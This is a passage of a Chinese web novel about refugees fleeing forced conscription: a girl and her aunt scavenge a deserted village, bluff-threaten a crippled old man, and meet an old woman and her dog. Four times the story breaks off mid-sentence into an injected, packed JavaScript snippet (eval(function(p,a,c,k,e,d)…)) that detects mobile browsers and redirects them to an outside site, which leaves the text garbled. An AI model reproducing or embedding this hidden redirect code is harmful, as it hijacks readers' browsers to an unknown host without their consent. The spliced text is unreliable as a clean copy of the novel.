“周大叔,眼下这情况,我们真没有时间犹豫了。不试试的话,我们连活下去的机会都没有。”江夏语气坚定。 见她们态度坚决,周大终于叹了口气,点点头:“好吧。但下山前,我们得先问问其他人,打听清楚离这里最近的村子在哪儿,也好有个方向。” 这一点众人都没有异议。 下午的时候,他们就按照那妇人给他们指的方向去找人,果然看到一个出来找食物的男人。这男人比起中午那人就友善许多,在周二和李木表明身份后,很轻易就相信了,还将他们带回自己的住处。 那是在藤蔓缠绕的树林中,一处极为隐蔽的山洞。他们一家六口人就挤在这小小的山洞中。 可当靠近那山洞时,一股骚臭味混合着肉腐烂的味道扑面而来,差点没把他们熏吐出来。 连连摆手,谢绝了他们的好意。 这户人家的男主人看到他们的表情,也略微有些尴尬,“这山洞之前有狐狸呆过,现在天气逐渐热起来了,猎物放不久,又不透风,味道就有些重。” 周二一脸认同的说:“这味道虽然重了些,但位置是极好的,现在能有个避身之所就可以,哪还能挑三拣四呢。” “是啊是啊!”男人也很是同意,脸上也多了份自豪,“这味道虽然不好闻,但安全啊。而且我这位置一般人可是很难发现的。” 周二笑着点点头,拉着男人问起关于山周边村庄的事情。 这男人正好就是这山附近大观村的村民,因为家中老父亲放不下操持了一辈子的田地,不愿背井离乡,这才选择躲入这大山中。就盼望着哪一日天下太平了,还能再返回家乡。 听到周二他们想要下山去,男人直摇头,“不能下山,山下没人,都跑光了。”说着叹了口气,“一个月前朝廷就开始下令征兵,开始还只是征二十岁的成年男丁,可不过半个月,又再次征兵,这次征兵的年龄放到了十六岁。 这谁还能不知道,这哪是征兵啊,这是抓人去送死啊! 大家不愿去,那县令就派人拿着名单一家一户的抓,抓了好些人,有的父子俩都被抓了去。要是有人反抗,那派来的人直接当场就将他打死了。 我们一家因为住在村尾,离村口有段距离,听到不好就赶紧往山上逃,这才一家人能全须全尾的在一起。” 男人说完,看着周二他们,目光严肃的说,“所以不能下去,那些当官根本就不是人,下去就是死路一条! 而且山下的村里也没啥人了,我之前和我爹下去看过,基本都跑了。除了一些腿脚不便,无处可逃的老人,不过没有家人照顾,现在估计也死了。” “我们也知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687710|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下山的危险,可我们却不得不下山。我们从延州逃出来,到现在已经有两个月了,身上的物资实在是不够了。不然我们也不会铤而走险,决定下山啊。” 听到周二的话,男人眼神闪烁了几下,手也不自觉在衣角摩挲着,“这……这确实难办……”他支吾着,脚步稍稍往后挪了半步,“我家那点存粮,连自家六口人都……都不太够……” 周二的目光扫过男人紧绷的手指和微微后倾的身子,心里也明白男人的想法。他苦笑着摆摆手,“老哥别为难,我们哪能要你家的东西,你这一大家子还等着吃饭呢。”说着叹了口气,“只盼着山下还能找到人,可以卖我们些粮食和盐……” 听到周二这样说,男人松了口气,在为他们指路时更为用心,还指给他们好几条下山安全的小路。 周二他们也是连声感谢。与这户人家告辞后,周二几人返回,商量下山的相关事宜。 江夏觉得宜早不宜迟,既然决定下山,就早点行动。于是众人决定今晚就往山的外围靠拢。 早早吃了晚食,众人就开始向着那人所指的方向出发。 越往外走,草木越稀疏,路也更平坦好走。等到天色完全黑下来的时候,他们已经翻过了四座山。 “差不多了,不能再往前走了。”周二说。 “今晚先在这里休息一晚,记住,不要点火。老二,和我去前面探视一圈。”周大周二继续往前走,“如果安全,明晚我们就行动。” 他们走后,其余人用柴刀将一些低矮的灌木了铺在地上,躺在上面就开始休息。 江夏也随众人躺了上去,不多时就感觉腿上传来细微的爬行感。坐起身,借着火折子微弱的光亮看清是一条不知名的爬虫。当即利落的将虫子弹进黑暗中,随后又躺了回去。 在野外呆久了,她已经很习惯与这些不速之客和平相处了。想起刚开始的时候,她总是会被这些爬到自己身上的虫子吓得吱哇乱叫,如今却已经能面不改色。 叹人的适应能力真的很强! 江夏看着满天星光在心底感慨。 周大他们什么时候回来,江夏是不知道的,她已经睡着了。反正等她醒的时候,他们就将下山的路线告诉了她。 他们眼下泛着青黑,衣服上还沾着露水和草屑,显然整夜未眠。 江夏听完他们详细的路线描述——从哪里走树密草多易藏人,哪里道路平坦好走后,沉默了一瞬。 “嗯,我都记住了。周大叔,周二叔你们快去歇会儿吧,别把身子熬垮了。”江夏声音虽平淡,却也温和。 周大他们点点头,也没推辞,找了个地方就躺下休息。晚上还有得他们忙的。 因为记挂着晚上的事,时间就过得特别快,一晃眼就到傍晚。 和昨天一样,也是很早就吃了晚食,由周大领头,朝着他们昨晚探好的路走去。走了不过一个山头,就能远远看见山脚下的村庄。 此时夕阳还挂在天边,本是农家人用晚食的时候,可村里却一片寂静,炊烟都不曾有。 “看来村里真的没有什么人了,但你们也要小心。要是有什么情况,你就点火,知道吗?”这话周大是对着林氏说的。 林氏点点头,牵着江夏开始慢慢往山脚下走去。 周大他们则找了处隐蔽的地方躲好。江诚看着自己姐姐沿着山路越走越远,忍不住咬紧自己下嘴唇,努力克制着自己的担忧。 21. 瘸腿老人 江夏、林氏二人背着竹篓,小心翼翼地沿着小路往山下走,还要时刻留意着四周有没有官兵埋伏,一路走走停停,走到半山腰时,太阳已经完全落下去了,只余西边天空的一丝余光,但足够她们看清山下村庄的整体样貌了。 这是一个大概二十多户人家的小村落,被村中间的阡陌分为四部分,形成类似“田”字的排布。东侧和北侧的房屋较多,大概各有七八户,南侧次之,西侧最少,只有两户人家。 这村子估计并不富裕,粗略看了下,几乎全是茅草房子,只有村东头有两户人家盖了砖瓦房。一户大些,三间砖瓦房连在一起,两侧还加盖了茅草屋,估计是用来堆放杂物的。另一户就只有中间一间堂屋是砖房,其他都是茅草房,条件虽不如刚才那家的,但也是村里数一数二的。 而村西边的那两户人家估计是全村最穷的,甚至连院墙都倒了一半。 “小夏,我们先去哪边啊?”林氏问。 她更偏向去东侧,因为那两户人家看着条件就比其他要好些,她们能换或买到物资的可能性也要大些。 但下山前,周大特意嘱咐她,行动前多听听小夏的意见,不要仗着自己是长辈就随意做决定。对于自己丈夫的话,林氏还是比较能听进去的,而且,她本身也不是多有智慧的人,平时习惯性依赖周大他们做决定。 江夏看着逐渐被黑暗笼罩的村庄,提议先去西边那两户人家看看,“南边不用说了,离我们最远,要过去,就得从村子中间绕过去,风险太大。其他三面都好从山上绕过去,但东边和北边的房屋多,我们现在不清楚还有多少人留在村里,但我想经历强制征兵一事,现在还留在村里的这些人,对于外来人一定是非常戒备的。所以我们不能一上来就离他们太近。 西边那两户人家虽然穷了些,可能也没办法给我们换到物资,但离村里整体都比较远,这样即使他们对我们有敌意,一时半会也不会有人来。如果他们对我们无恶意,那我们就可以向他们打听清楚关于这个村子的情况,也好有目的的去找人。” 江夏将自己的想法详细说给林氏,这一通分析林氏听得云里雾里,但她还是抓住江夏话里的重点,“所以我们现在往村西边去?” 江夏点点头,于是二人弓着身子,借着昏暗天色的掩护,沿着小路朝西边的那两座房屋走去。 先走到最西侧靠近山的那户人家,院门是大敞着的,院中杂乱无章的散落着晾晒东西的竹架,还有被拿走时掉落的茅草,再往里走,看见堂屋木门合拢,但上面却没有锁,想来是被主人一起带走了。 轻轻推开那摇摇欲坠的门扉,里面桌椅板凳同样被掀翻在地,江夏走上前发现大多数还都是缺胳膊断腿的。 想来这户人家在走前,将所有值钱的物品都带走了,估计也找不出什么有价值的东西了。 两人在这户人家四处摸索了半天,一无所获,只能齐齐哀叹一声。 往下一户人家走去,还没走近,就隐约听到男人粗重的喘息声,江夏和林氏面面相觑。 有人?! 俩人悄摸的往那户人家走近,躲在倒塌的院墙外往里望去,就看到一个半身不遂的老人双手撑在地上,拖着无力的双腿在地上艰难的爬行。 爬到院中的一口水缸前,用力攀住水缸边缘,努力直起上半身,拿过缸中的水瓢舀了口水,“咕嘟咕嘟”几口,就急切地喝了下去。 老人喝了整整一水瓢的水才停下,将水瓢重新扔回去,身子靠着缸壁缓缓滑了下去,坐在地上大喘了几口气,这才慢慢又往屋中爬去。 “这……小夏,我们要不要去帮他一把啊?”林氏语气中有着不忍,“正好不是说要找人问问情况吗,这家就这一个瘸腿的老人,我们帮了他,他肯定愿意告诉我们的。” 江夏点点头,从老人爬出来喝水,再到喝完水回去,这么长时间没有再看见其他人,这家应该就只有这一个人。 伸手推了一下院门,没有推开,想来是有人从里面拴住了,江夏从院墙上翻进去,取下门后的门闩,将门打开,木门发出不堪重负的吱呀声,在安静的夜晚格外明显。 “谁在那里?”堂屋里传出沙哑的男声,同时伴随着“呼哧——呼哧”,如同破败风箱的喘息声。 “老丈,别紧张,我们不是官府的人。”林氏回答着,往老人所在的堂屋走去。江夏拦住她,开口对着里面说:“我们姑嫂是其他村的,与村里其他人走散了,现在身上又没什么吃的,看到这里有村庄,想要求一些食物果腹。” 江夏的这段话满是漏洞,既是其他村的人寻常又怎会迷路,想必也是逃难的人。那既然是逃难的,就应该知道如今谁家生活都不好,怎么可能给陌生人食物。 而且,要找食物,不应该往大山里去吗?山里的食物现在绝对会比山下好找些。 可就是这样满是漏洞的话,因为江夏略显稚嫩的声音,而多了几分可信。 老人从门口探出一个脑袋,眯着眼睛仔细盯着她们看,确定院中间就只站着她们两个人,将手中的板凳腿放下,“这里没吃的,你们去其他地方吧。”,说完就将门关上。 林氏看到老人手中的板凳腿,心中也是一惊,刚才如果不是江夏拦住她,她直接推门进去,很可能迎面挨老人的一棍子。 林氏转头看向江夏,想要道声谢,江夏却已经往老人那边走去,伸手挡住老人关上的门。 “老爷爷,你家没有吃的,那你知道谁家还有吃的吗?我们姑嫂两个真的很多天都没吃过东西了,这胃实在烧得难受,不然也不会半夜跑来乞讨。” “都没有。我一个瘸子,门都出不去,怎么知道谁家有吃的。”老人的语气恶劣,粗鲁地推开江夏挡在门上的手,碰一下就将门关上。 江夏被他掀一踉跄,还是在林氏的帮助下才站稳。 “小夏,现在该怎么办啊?” 江夏也忍不住皱起眉头,的确有人留下,但没想到留下的是个瘸老头,而且脾气还这么不好。 站在原地,左手攥拳抵在唇边,眼睛四处观察着,然后往堂屋旁边,水缸不远处的茅草屋走去,推开门,里面一片漆黑。江夏拿出火折子,轻轻吹了一口气,火焰的光芒照亮了面前的环境,果然是厨房。 “小夏,你……你这是准备直接偷吗?”跟在她身后走进来的林氏压低声音问。 江夏没有回答,只将身上背着的背篓交给林氏,举着火折子在厨房检查着。 米缸里还剩薄薄一层底,江夏伸手抓了一把,还没怎么用力就将那米碾碎了,看来这米有些年头了。旁边的架子上还放着几个麻袋,袋子很瘪,软趴趴的立在架子上。江夏拿起一个看,是黄豆,另外两个一个是黑豆,一个是米糠。都不多,估计三个袋子合在一起,也没有五斤重。 灶台旁边地上有明显爬行的痕迹,但这几样东西还在,还没吃完,估计就是那老头够不着,米缸太深,架子太高。 江夏从角落里拖出一个空麻袋,将米缸里的米都倒了进去,和架子上的三个麻袋一起,放在自己脚边。 “这……小夏……”林氏看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697146|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着江夏一顿忙活,又不知道她想干什么,只能紧张又无措的站在一边,眼神时不时看向门口。 江夏又翻找起灶台旁边的罐子,里面还有一些盐巴,与后世洁白如雪,粒细如沙的盐不同,也与她们这段时间使用的,略带灰色的粗盐不同,这盐中混杂着黑色的泥沙,凝聚成团块状。 江夏只看了一眼,就皱眉放了回去。 他们现在使用的盐,质量算不得很好,咸味不纯,但至少还能看出这是个盐。面前的盐,江夏实在很不愿意承认是盐。 门口传来拖动的声音,转头看去,就见那老人带着他那板凳腿,爬了过来,看到江夏在翻自家厨房,脚边还放着几个麻袋,目眦欲裂,暴喝出声:“你个狗娘养的贼娃子,敢偷我家的东西!找死!” 说着就将手中抓着的板凳腿朝江夏扔了过来。 江夏连忙蹲下身,板凳腿从她头顶飞过,砸在一旁的墙上。 “你一个老头,反正也要死了,这些食物不如给我们。”江夏站起身,语气讥讽地说道。 神情冷漠地看着门口地上的老人先是一愣,后又勃然大怒,“小崽子,老子今天就算瘸着腿,也要弄死你。”说着就朝江夏的方向爬去。 可是一个瘸腿的老人怎么可能比得过四肢健全的江夏,更何况这段时日在林中奔波,她的体能也得到极大的加强,轻轻松松躲过朝她扑来的老人,接着就用菜刀抵在他的脖子上。这是她在灶台上拿的。 “还敢动吗?”江夏冷冷的声音在他耳边响起。 老人支吾半天,狠话到嘴边又被他给咽了回去,头上冒出一层细密的汗珠,不知是爬过来累的,还是被江夏给吓的。 “这样才对嘛。我们好好问你什么,你就回答什么,知道吗?” 老人点点头,“那我问你,这村里除了你,还有几户人家有人?”,看着老人又想开口说不知道,江夏直接打断他,“别跟我说你不知道,你门口的水缸里水还是满的,这几天又没有下过雨,你一个瘸腿的老人还能自己挑水去不成。” 老人一愣,没想到江夏竟然通过他家水缸知道这村里还有人。 “你要不说呢,我也不勉强你,这些粮食虽然不多,但也能够我们吃几天的,你么?能不能活到明天还不一定呢。”江夏说着,手中的菜刀似乎离他更近一步。 老人果然很快招架不住,统统吐露出来,“还有三户!” 话一旦开口,剩下的就很难再保留了,“除了我,村北边的老八贵和媳妇,还有南边的张二赖,给我打水的就是张傻。我是腿不行,他是脑子不好。小时候发热,把脑子烧坏了,成了傻子,总被村里小孩欺负,我帮了他几回,他就认得我了。他爹娘逃命的时候没带上他,他就天天往山上跑,时不时会来我这里,帮我打些水。” 老头一股脑的将话都说了出来,看着江夏,“我没骗你,就我们三户了!老八贵是身体不好,动不了了,他媳妇又不肯走,就陪他一起在村里熬着。能走能动的,全走了,谁愿意留在这里等死啊!”说到最后一句,老人悲痛的嚎啕大哭起来。 看着面前哭得眼泪鼻涕到处飞的老人,江夏嫌弃的站起身,“好了。看在你老实交代的份上,你的这些粮食我就不拿了。” 老人一愣,流出的鼻涕在空中形成一条粘稠的银丝,随着他的抽噎一颤一颤的晃动,眼看就要滴到他因为惊讶而张开的嘴巴里。 江夏撇过头,不再看他,从林氏手中接过背篓往外走去。林氏也紧跟着她走了出来,“小夏,你刚才都是……是吓他的?” 22. 深夜探村 看着林氏一脸纠结的样子,江夏直接笑道:“当然是吓他的啊。不然,周大婶你以为我真的敢杀人吗?” 看着江夏的笑脸,林氏长舒一口气,拍了拍自己胸口,“你刚才那样子都快吓死我了!” “主要是这老头脾气太差了,不用点手段,我们一晚上都得耗在他那里。” 林氏回头望去,那破烂的茅草屋已经被黑暗吞噬,看不见了,“这样不会有事吗?”她有些担心,闹出那么大动静,那老人不会做啥幺蛾子吧。 “别担心,我估计我们在这个村是换不到什么盐的,等天亮我们就走了,这大山这么大,他一个瘸腿的老人还能找到我们不成。再说了,我们啥也没做啊。一没拿他粮食,二没伤人。” 林氏一想,也是,他们反正躲在大山里,这个村没有换到盐,估计就得赶路去下一个村子了,的确没必要太担心。 心里的担子放下了,林氏也有心情记挂起她们俩下山的任务,“那我们现在去哪里?直接回山上吗?” 江夏:“去村里其他人家看看,说不定能捡到别人丢弃不要的东西。既然刚才那人说只有三户人还在村里,那我们行动起来就比较安全了。” “这不太好吧……”林氏有些犹豫,“这不是偷吗?” “有主的叫偷,无主的叫捡。人家不要的东西,我们为什么不能捡。”江夏看着林氏,“但我想大部分人家估计都像我们刚才去的第一户人家一样,啥都没有。” 江夏没有说错,她们将村南边的几户人家都仔细搜寻了一遍,别说米油粮面之类的,就是地里的菜都给拔干净了,只剩下一些笨重的家具孤零零地留在屋里。 看着眼前搬得干干净净的堂屋,江夏叹了口气。林氏也擦了擦额头的汗:“我们去东边看看吧,那边有两户砖瓦房的人家,说不定能有所收获。” 两人来到那三间砖瓦房围成的院落前,一推开门,一股浓烈的鸡粪味立刻冲入鼻腔。江夏皱眉捂住鼻子,只见院角的鸡圈和鸭圈空空如也,只剩下打翻的食盆和一地干结的粪便。 “这家人连鸡鸭都带走了……”林氏失望地说。 江夏绕着院子走了一圈,“估计杀了带走的吧。能建得起这样的房子,家里肯定有不少壮劳力。逃难时能带的东西自然也比普通人家要多些。” 她走进堂屋,手指抚过结实的墙面,眼里流露出一丝羡慕。这样坚固,又能遮风挡雨的砖瓦房,自己什么时候才能拥有呢? 要是放在上辈子,她自然是看不上的,不说自己在城里的房,就是自己老家那也是干净漂亮的小洋房,可现在这样的一座房子却也是她难以企及的。 与此同时,林氏也在四处寻找。与江夏不同,她当家做主多年,对于一些家庭可能储存食物的地方要比江夏更为熟悉。因此,她也不去屋里找,就在厨房墙角和后边菜园子里逛。竟真还让她找到些东西。 “小夏!你看!”林氏兴奋地抱着个坛子跑过来,江夏疑惑地凑近,却被铺面而来的酸臭味熏得后退两步:“这啥啊?都发臭了。” “腌菜啊。”林氏笑得一脸灿烂,“不是说没盐吗?这一坛子腌菜每天吃一点,够我们的吃十几天了。” 江夏恍然大悟,拍了拍自己脑门:“是我思维固化了,光想着盐,忘了咸菜、酱菜这些不都是含盐的吗?” “周大婶,你可太棒了!”江夏冲着林氏比了个大拇指。 林氏虽然看不懂她做的手势,但江夏的夸赞她听明白了,笑容更大了。“这坛子被放在屋后菜园子里,半埋在土里,上面又用稻草盖住,估计是这家人走得匆忙,忘记了。” 江夏:“哈哈哈!走,我们再去其他地方找找,看看还有没有。” 虽然觉得可能性很低,但林氏还是心存侥幸地跟着江夏一起去找了。 虽然腌菜没再找到,但却在屋后的榆树下找到了这家的地窖,掀开盖板走下去,在地窖角落里竟堆着许多的野栗子。 秋天山林中,野栗子是随处可见,这家人也才能采这许多。粮食紧缺时,许多人会将它煮熟后,混着糙米煮粥,能省下不少粮食。 但逃难的时候,再带着它就不划算了,一是到了秋天,林子里又会多起来,不缺。二是这野栗子小又带壳,十斤野栗子剥了壳,可能果肉还不到五斤,不划算。可要是剥了壳,这天气过不了几天就会坏,所以这堆野栗子就被这家人无情的抛弃了。 但别人嫌麻烦,她们不嫌啊。 两人使劲往自己的背篓里搂栗子,将两个背篓装得满满当当,地上所有野栗子也没有装完。看着林氏还想往背篓里再塞些,江夏连忙拦住,“够了够了,周大婶。我们俩还得背着上山呢,可不能再装了。” 林氏有些不舍地看了眼剩下的野栗子,但也明白江夏说的是对的,只能依依不舍的放下手里拿着的野栗子。“行,走吧。”林氏将背篓背上。 走出地窖,月亮已经移动到东边了,颜色也隐隐有些变浅,世界将明未明。 两人沿着村中那条东北方向的小路向着村北边的山走去。 “砰——”的一声巨响,将两人吓一激灵。“啥声?是有人吗?”林氏惊慌的四处看着。 江夏将林氏拉到旁边人家的墙角,靠墙站着,侧耳倾听,“好像是这户人家里传来的。”伸手指着在她们右手边的一户人家,里面还有狗叫声。 林氏紧紧抓着江夏的手问:“是有官兵来了吗?” “不像。”除了刚才那一声响,就再没有其他声音了。两人在墙角站了半天,也没见那户人家有人出来。 “不管了,我们赶紧走吧。”江夏拉着林氏快步从那户人家门口走过,可还没走几步,就听见里面传来门闩松动的声音,两人更是吓得加快了脚步。 可她们两背上背着沉重的背篓实在走不快,这不没走几步,江夏就感觉有什么拽住了自己的裤脚。“啊!”吓得她反射性抬腿,就想将那东西甩开。 没甩开,低头看去,竟是一条黑狗咬着自己的裤脚,嘴里还呜呜叫着。 “这狗咋还咬人啊?”林氏抬腿踢了那狗一脚,可那狗挨了林氏一脚,却依旧紧紧咬着江夏裤脚不肯撒口,轻轻往后拽,喉咙里发出低低的呜咽声。 “周大婶,你别紧张,它没咬到我。”江夏拦住林氏还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704049|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再去踢狗的腿。 在她小时候,爷爷奶奶还健在时,因为她在村里缺少玩伴,家里便抱养了一只黄色的土狗。那狗陪伴她长大,但在八岁时被人下药毒死了。这件事给年幼的她留下了深刻的心理阴影,导致她后来一直不愿再养宠物。 但这段经历也让她对狗有些了解,这狗的行为很明显并没有攻击性,反而像是在求助? “它好像是想要我跟它走?”江夏顺着它的力道往回走了几步,回到刚才发生响声的院子前。原本关着的院门已经被打开了条缝,那狗站在门口一边急切地吠叫,一边频频回头望向院内,尾巴焦急地左右摆动。 “它这是在叫我们进去……?”林氏也发现了这狗的目的,“这狗还真通人性啊!小夏,我们要进去吗?” 江夏眉头微蹙,低声道:“里面什么情况还不知道,两个人都进去太冒险了。周大婶你脚不好,就先在这里等我。”说着就将林氏扶进隔壁一家开着院门的人家,放下背篓,顺手将门虚掩上,“若是有危险,我立刻就出来。” 那狗见她跟来,立刻小跑着引路,时不时回头确认她是否跟上。待进了院子,它直奔右侧的茅屋,在门前停下,冲着江夏短促地叫了两声,又用爪子扒了扒门槛。 江夏走近就看到一个头发花白的老妇人躺在地上,旁边翻倒的木盆洒了一地水渍。那黑狗迅速跑到老妇人的身边,使劲用鼻子去拱她的手臂,喉咙里溢出低低的呜咽声,尾巴不安的拍打着地面。 想来刚才那声巨响,就是水盆掉在地上发出的声音。江夏心下大定,走到老妇人身边想要将她扶起来,没成功,就伸手在她人中上狠狠掐了下。 “呜……”老人呻吟一声,幽幽转醒。 黑狗见状,尾巴顿时摇成风扇,欢快地“汪”了一声,凑上前,轻舔老人的脸颊。 “你醒了。还好吧?” 老人这才转头看向江夏,“你是……?” “我是北边逃难过来的,路过你们村,想讨些吃食的,听到这边有声音就过来看看。” “北边啊……”老人的眼神一黯,声音也带上惆怅,但很快又掩藏起来,“谢谢你啊,小姑娘。” 江夏没拒绝,也没承认,只努嘴指向那条黑狗,“是它拦住我,带我找到你的。” 老人一愣,又笑了起来,摸着狗头说:“又让你担心了。唉,老了,不中用了啊……”说着转头看向江夏,“你说你来讨吃食的,但我们这村现在没什么人了,想来你是没讨到吧。”老人神情平静,语气温和。 江夏有些尴尬的摸了摸自己鼻子,讨是没讨到,但却从人家家里拿了不少野栗子。 老人看她这副样子,还有那里不懂呢。笑着从地上爬起来,摇摇晃晃的往厨房走。“你等着啊,我去给你拿些吃的。” 江夏忙连声拒绝:“不用不用!既然你醒了,那我就先走了。” “哎,小姑娘,等等,”老妇人在她身后喊道,“你既救了我,那我总该报答你吧。正好我也有些事想拜托你。” 江夏疑惑转头看向她,她们萍水相逢,今天之后都不会再见面了,她能帮她做什么? 23. 奉献牺牲 “什么事?”江夏直接问,语气有些生硬。她可不想给自己一伙人带去麻烦,还是先把事情弄清楚再说。 “事儿不急。”老人看了眼空荡荡的橱柜,回头歉意地对江夏说:“你从北边逃难过来,想来这一路吃了不少苦吧?家里没啥好吃的,我给你蒸几个馒头垫垫?” 她说着,不等江夏回答,便将手伸进米缸中,从里面拿出一个布袋,往一旁的陶盆里倒了满满一盆的灰面。 江夏看着面前这个语气温和,笑容慈祥的老人,心像是被什么轻轻撞了一下,鼻尖一酸,眼眶里瞬间盈满泪水。她猛地转头,不再看她。 她想起她的奶奶——那个瘦瘦小小,总是笑眯眯喊她“囡囡”的小老太。 “您……”江夏的声音有些发哽,轻咳了声,“您还是先告诉我要我帮什么忙吧。这样,这馒头我也好安心吃。”声音虽还有些艰涩,语气却意外的软和下来。 听到江夏的话,老人倒面粉的手顿了顿,“老婆子我啊,一共有三个儿子。老大十年前被征去服兵役,说是服役三年,却再也没了信儿,老大媳妇等了他五年,最后也放弃改嫁了。今年,老二老三又被官府强拉了去,有人去县城打听,回来说他们是被拉到北方,去和北狄人打仗。那些北狄兵个个身高七尺,身形壮硕,被送到战场上的人根本活不下来……” 江夏不清楚她为什么会和自己说这些,也没打断她,只默默听着。 还好,几个儿子都留了根,不至于让他们死后断了香火……”老人往面粉里倒了点水,用筷子不停搅拌着,“我和老头子都这把年纪了,跟着逃难,拖累了孙儿们不说,还得他们照顾。一合计,就把家里值钱的东西分了,让他们跟着村里人,往能活命的地方逃吧。” 她又拿起水瓢往陶盆里加了些水,“这世道,人能活下来就行了,我也不奢望两个儿媳妇能替我儿子守一辈子,只盼她们能看在老婆子往日对她们的好,多多照顾着些几个孩子,其他我都无所谓了……” “儿孙的事我都安排好了,现在唯一放心不下的就只有这个孩子了。”说完看了眼卧在自己脚边的黑狗,眼里满是担忧与不舍。 江夏也顺着她的目光看向那黑狗,猜测到她可能想拜托自己的事,立刻拒绝道:“如果您是想要我帮你照顾这条狗,那我可以和您直说,不可能的!” 现在他们一伙人都粮食紧缺,人都不够吃,怎么可能还带条狗。路上要是人饿狠了,估计等待它就被宰了吃命运。这个时代可没有什么动物保护法,只要四脚着地的动物,大家都是默认可以吃的。 “唉,老婆子倒想让你把它带走,只是这孩子性子倔,就认我和老头子。我他们走的时候把它也一起带走,可谁知它又自己跑了回来,任凭我怎么赶都不肯离开。现在我也想开了,它想留就留吧。” “您既然知道它不会跟别人离开,那您想让我帮的忙是什么?”江夏现在真是一头雾水。 “它我是不准备赶了,可……”老妇人将手中的筷子搁下,绕过灶台走到灶膛后,将堆放的稻草轻轻拨开,冲着江夏招招手,“来,你过来看。” 江夏走过去,就看到在稻草堆中趴卧着一只黑色小狗,真的小,不过比她巴掌大点,通体漆黑,就只有尾巴尖和额头上有一点白毛。 “这是来福前段时间产下的一窝小狗崽。也不知是不是因为它怀着孩子的时候,奔跑着赶回来,孩子在肚子里没有养好,一窝三只,就活下来这一只。”老妇人伸手摸了摸那小狗,小狗发出细小的叫声。 来福听到小狗的叫声,立刻竖起耳朵走了过去,熟练地躺下给小狗喂奶。 老人转头看向江夏,目光中带着一丝恳求,“你是个心善的孩子。来福它不愿意走,我想求你把这小狗崽带走,好歹,也算是给它一条活路。” 看着那小小一团的,江夏没忍住伸手摸了它一下。来福在一旁安静地看着,没有发出任何警示的声音,眼神温顺。 “你看,来福它也喜欢你呢,把孩子交给你,它一定也是愿意的。” 江夏将手收回来,看着老妇人,“它很乖,也很可爱,可我还是不能同意。它太小了,现在就离开母亲,没有奶水的喂养,根本活不下去。”这个时代没有什么羊奶粉、狗粮,他们还只能每天靠吃些野菜野果果腹,拿什么东西去喂养一个未满月的小狗。 老人脸上的希冀瞬间暗淡下去,沉默许久,最终长长地叹了口气,伸手摸着来福的狗头。来福转头亲昵地舔了舔她的手,清澈的眼神看着她,似乎并不理解自己主人的感慨。 她缓缓站起身,走到水盆边将手洗干净,回到灶台前开始揉面,动作渐渐恢复了往日的平稳。看到江夏抿唇看着自己,她笑了笑,语气依旧温和:“孩子,你别往心里去。这事是我为难你了,这世道,人活着都难,那还能强求别的活路?尽力了,也就……没什么可遗憾的了。” 空气中弥漫着沉默,只有面团被揉捏的声响。 江夏站在原地,看着老人专注揉面的身影,一阵难言的愧疚感让她有些坐立难安,想了想问道:“您想您的家人吗?” “怎么会不想。日日想,夜夜想,恨不得被拖上战场的是我,这样我也不用白发人送黑发人。”老人的声音低沉沙哑,满是沉重的悲伤。 “那我帮你画个您儿子他们的画像吧,我画画还是可以的。”江夏从灶膛里抽出一根烧了一截的木头,又从自己怀里掏出几张竹片,那是她前几日画植物时剩下的。坐在灶膛后,借着灶膛里的火光对老人说,“您还记得他们长什么样子吗?您向我描述一下,我试着把他画下来。” “这……这行吗?光凭我说,真的可以画下来吗?”老人的声音里满是不可置信。 “可以试试。”江夏冲她笑笑。但老人已经全然的相信了。自己几个孩子的长相,当娘的又怎么可能忘记,那是日思夜想,午夜梦回时都会出现在自己眼前的脸。 “我大儿子,走的时候不过二十,脸还有些圆,眼睛像他爹,有些小,没你那么大,大概就你的一半大。 鼻子还挺高,就是鼻孔有些大,他从小就喜欢抠自己鼻子,小时候还经常抠了又吃了进去……” 老人完全陷入自己的回忆中,想到哪说到哪儿,完全没有章程,比起向江夏描述儿子的长相,倒不如说是她借着这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721366|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会放纵自己去思念,去回忆,去向别人诉说一个母亲失去所有孩子的悲痛。 